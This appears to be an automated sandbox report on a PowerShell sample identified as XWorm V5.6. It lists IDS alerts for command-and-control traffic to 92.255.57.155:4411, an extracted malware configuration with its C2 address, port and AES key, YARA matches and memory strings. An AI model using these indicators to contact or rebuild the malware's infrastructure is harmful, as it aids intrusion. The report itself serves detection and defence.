2024-12-18T08:17:32.170097+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:32.482666+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:32.661946+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:32.899698+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:34.033388+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:34.298071+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:34.370054+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:34.462123+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:34.489622+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:34.661087+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:34.782107+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:34.973565+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:35.814970+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:36.393762+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:36.516082+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:36.635730+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:39.421289+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:39.701496+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:40.022972+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:40.327332+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:40.671100+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:41.781321+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:42.030867+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:42.655669+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:43.260221+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:46.138020+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:46.235976+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:46.430778+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:46.862470+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:46.891939+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:47.102141+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:47.906861+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:48.231733+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:48.546132+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:48.837987+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:49.028773+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:49.149989+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:49.889402+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:50.153495+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:50.436716+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:50.511138+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:50.596929+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:50.853991+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:52.015176+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:52.420644+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:52.660907+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:53.046102+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:53.133993+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:53.279175+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:53.445717+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:54.641289+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:55.311781+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:55.684996+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:55.924147+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:56.283098+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:56.404695+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:56.604705+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:56.950326+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:57.999588+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:58.239592+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:58.664836+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:59.262856+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:18:00.013906+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:18:05.990968+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP

ETPRO MALWARE Win32/XWorm CnC Command - Ping Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T08:15:58.442835+0100	2858801	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP

ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T08:16:39.278761+0100	2858799	1	Malware Command and Control Activity Detected	192.168.2.8	49708	92.255.57.155	4411	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000004.00000002.3156793312.0000000002C91000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Xworm {"C2 url": ["92.255.57.155"], "Port": 4411, "Aes key": "P0WER", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Multi AV Scanner detection for submitted file

Source: QP2uO3eN2p.ps1	ReversingLabs: Detection: 23%
Source: QP2uO3eN2p.ps1	Virustotal: Detection: 28%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source:	Binary string: mscorlib.pdbcorlib.pdbpdblib.pdbC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: RegSvcs.exe, 00000004.00000002.3165026994.0000000009C0B000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.PDBs source: RegSvcs.exe, 00000004.00000002.3163033703.0000000005351000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb$3 source: RegSvcs.exe, 00000004.00000002.3163033703.0000000005351000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdbMZ@ source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.pdb source: RegSvcs.exe, 00000004.00000002.3163033703.0000000005351000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: #.dll.pdb source: powershell.exe, 00000000.00000002.1673465265.000001E70CD29000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1673465265.000001E70BA88000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1697055181.000001E723A60000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: RegSvcs.exe, 00000004.00000002.3150292171.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: System.Configuration.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: ?;oC:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: RegSvcs.exe, 00000004.00000002.3165026994.0000000009C0B000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.pdbMZ source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: symbols\dll\mscorlib.pdbLb source: RegSvcs.exe, 00000004.00000002.3165026994.0000000009C0B000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Xml.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: System.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: System.Core.ni.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: %%.pdb source: RegSvcs.exe, 00000004.00000002.3165026994.0000000009C0B000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.pdbj- source: RegSvcs.exe, 00000004.00000002.3163033703.0000000005351000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\symbols\exe\RegSvcs.pdb source: RegSvcs.exe, 00000004.00000002.3163033703.0000000005351000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: RegSvcs.exe, 00000004.00000002.3165026994.0000000009C0B000.00000004.00000010.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3163033703.0000000005351000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3163033703.00000000053A1000.00000004.00000020.00020000.00000000.sdmp, WER58DA.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: RegSvcs.exe, 00000004.00000002.3163033703.0000000005351000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.ni.pdbRSDSJ< source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: System.Configuration.pdb@ source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: System.Management.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: System.Drawing.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: mscorlib.ni.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: System.Management.ni.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: System.Core.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: System.Management.pdbH source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: @;o.pdb source: RegSvcs.exe, 00000004.00000002.3165026994.0000000009C0B000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER58DA.tmp.dmp.14.dr
Source:	Binary string: HP/o0C:\Windows\mscorlib.pdb source: RegSvcs.exe, 00000004.00000002.3165026994.0000000009C0B000.00000004.00000010.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2858800 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.8:49708 -> 92.255.57.155:4411
Source: Network traffic	Suricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 92.255.57.155:4411 -> 192.168.2.8:49708
Source: Network traffic	Suricata IDS: 2852923 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) : 192.168.2.8:49708 -> 92.255.57.155:4411
Source: Network traffic	Suricata IDS: 2858801 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Command - Ping Inbound : 92.255.57.155:4411 -> 192.168.2.8:49708
Source: Network traffic	Suricata IDS: 2858799 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.8:49708 -> 92.255.57.155:4411

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 92.255.57.155

Source: global traffic

TCP traffic: 192.168.2.8:49708 -> 92.255.57.155:4411

Source: Joe Sandbox View

ASN Name: TELSPRU TELSPRU

Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155

Source: powershell.exe, 00000000.00000002.1688656796.000001E71BBF4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1673465265.000001E70D1CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000000.00000002.1673465265.000001E70BA88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000000.00000002.1673465265.000001E70B861000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3156793312.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.0.dr	String found in binary or memory: http://upx.sf.net
Source: powershell.exe, 00000000.00000002.1673465265.000001E70BA88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000000.00000002.1673465265.000001E70B861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000000.00000002.1673465265.000001E70D1CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000000.00000002.1673465265.000001E70D1CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000000.00000002.1673465265.000001E70D1CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000000.00000002.1673465265.000001E70BA88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000000.00000002.1673465265.000001E70CA36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000000.00000002.1688656796.000001E71BBF4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1673465265.000001E70D1CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000004.00000002.3156793312.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: Process Memory Space: RegSvcs.exe PID: 1056, type: MEMORYSTR	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BFF288	4_2_02BFF288
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF22E8	4_2_02BF22E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BFE0A0	4_2_02BFE0A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF4014	4_2_02BF4014
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF6140	4_2_02BF6140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF8140	4_2_02BF8140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF7600	4_2_02BF7600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BFC7D8	4_2_02BFC7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF641B	4_2_02BF641B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF6A20	4_2_02BF6A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF7A18	4_2_02BF7A18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BFFB02	4_2_02BFFB02
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BFE8A8	4_2_02BFE8A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF7830	4_2_02BF7830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF6E20	4_2_02BF6E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF0F88	4_2_02BF0F88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BFBF08	4_2_02BFBF08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF42E8	4_2_02BF42E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF42D9	4_2_02BF42D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF625F	4_2_02BF625F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BFE091	4_2_02BFE091
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF204F	4_2_02BF204F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF218C	4_2_02BF218C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF813B	4_2_02BF813B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF6133	4_2_02BF6133
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF5121	4_2_02BF5121
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF211A	4_2_02BF211A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF5148	4_2_02BF5148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF6698	4_2_02BF6698
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF36D0	4_2_02BF36D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BFF750	4_2_02BFF750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BFF741	4_2_02BFF741
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BFD401	4_2_02BFD401
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF35B0	4_2_02BF35B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF35A0	4_2_02BF35A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF75F0	4_2_02BF75F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF5538	4_2_02BF5538
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF5548	4_2_02BF5548
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF6A10	4_2_02BF6A10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF1B88	4_2_02BF1B88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF4BE0	4_2_02BF4BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF4BD1	4_2_02BF4BD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BFBBC0	4_2_02BFBBC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF1B08	4_2_02BF1B08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF2B50	4_2_02BF2B50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF2B40	4_2_02BF2B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF085F	4_2_02BF085F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF1EB6	4_2_02BF1EB6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF6E10	4_2_02BF6E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF1F16	4_2_02BF1F16
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF0F00	4_2_02BF0F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_02BF1DA1	4_2_02BF1DA1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_05607534	4_2_05607534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_05603410	4_2_05603410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_056006D0	4_2_056006D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_05602DE8	4_2_05602DE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_05600EF8	4_2_05600EF8
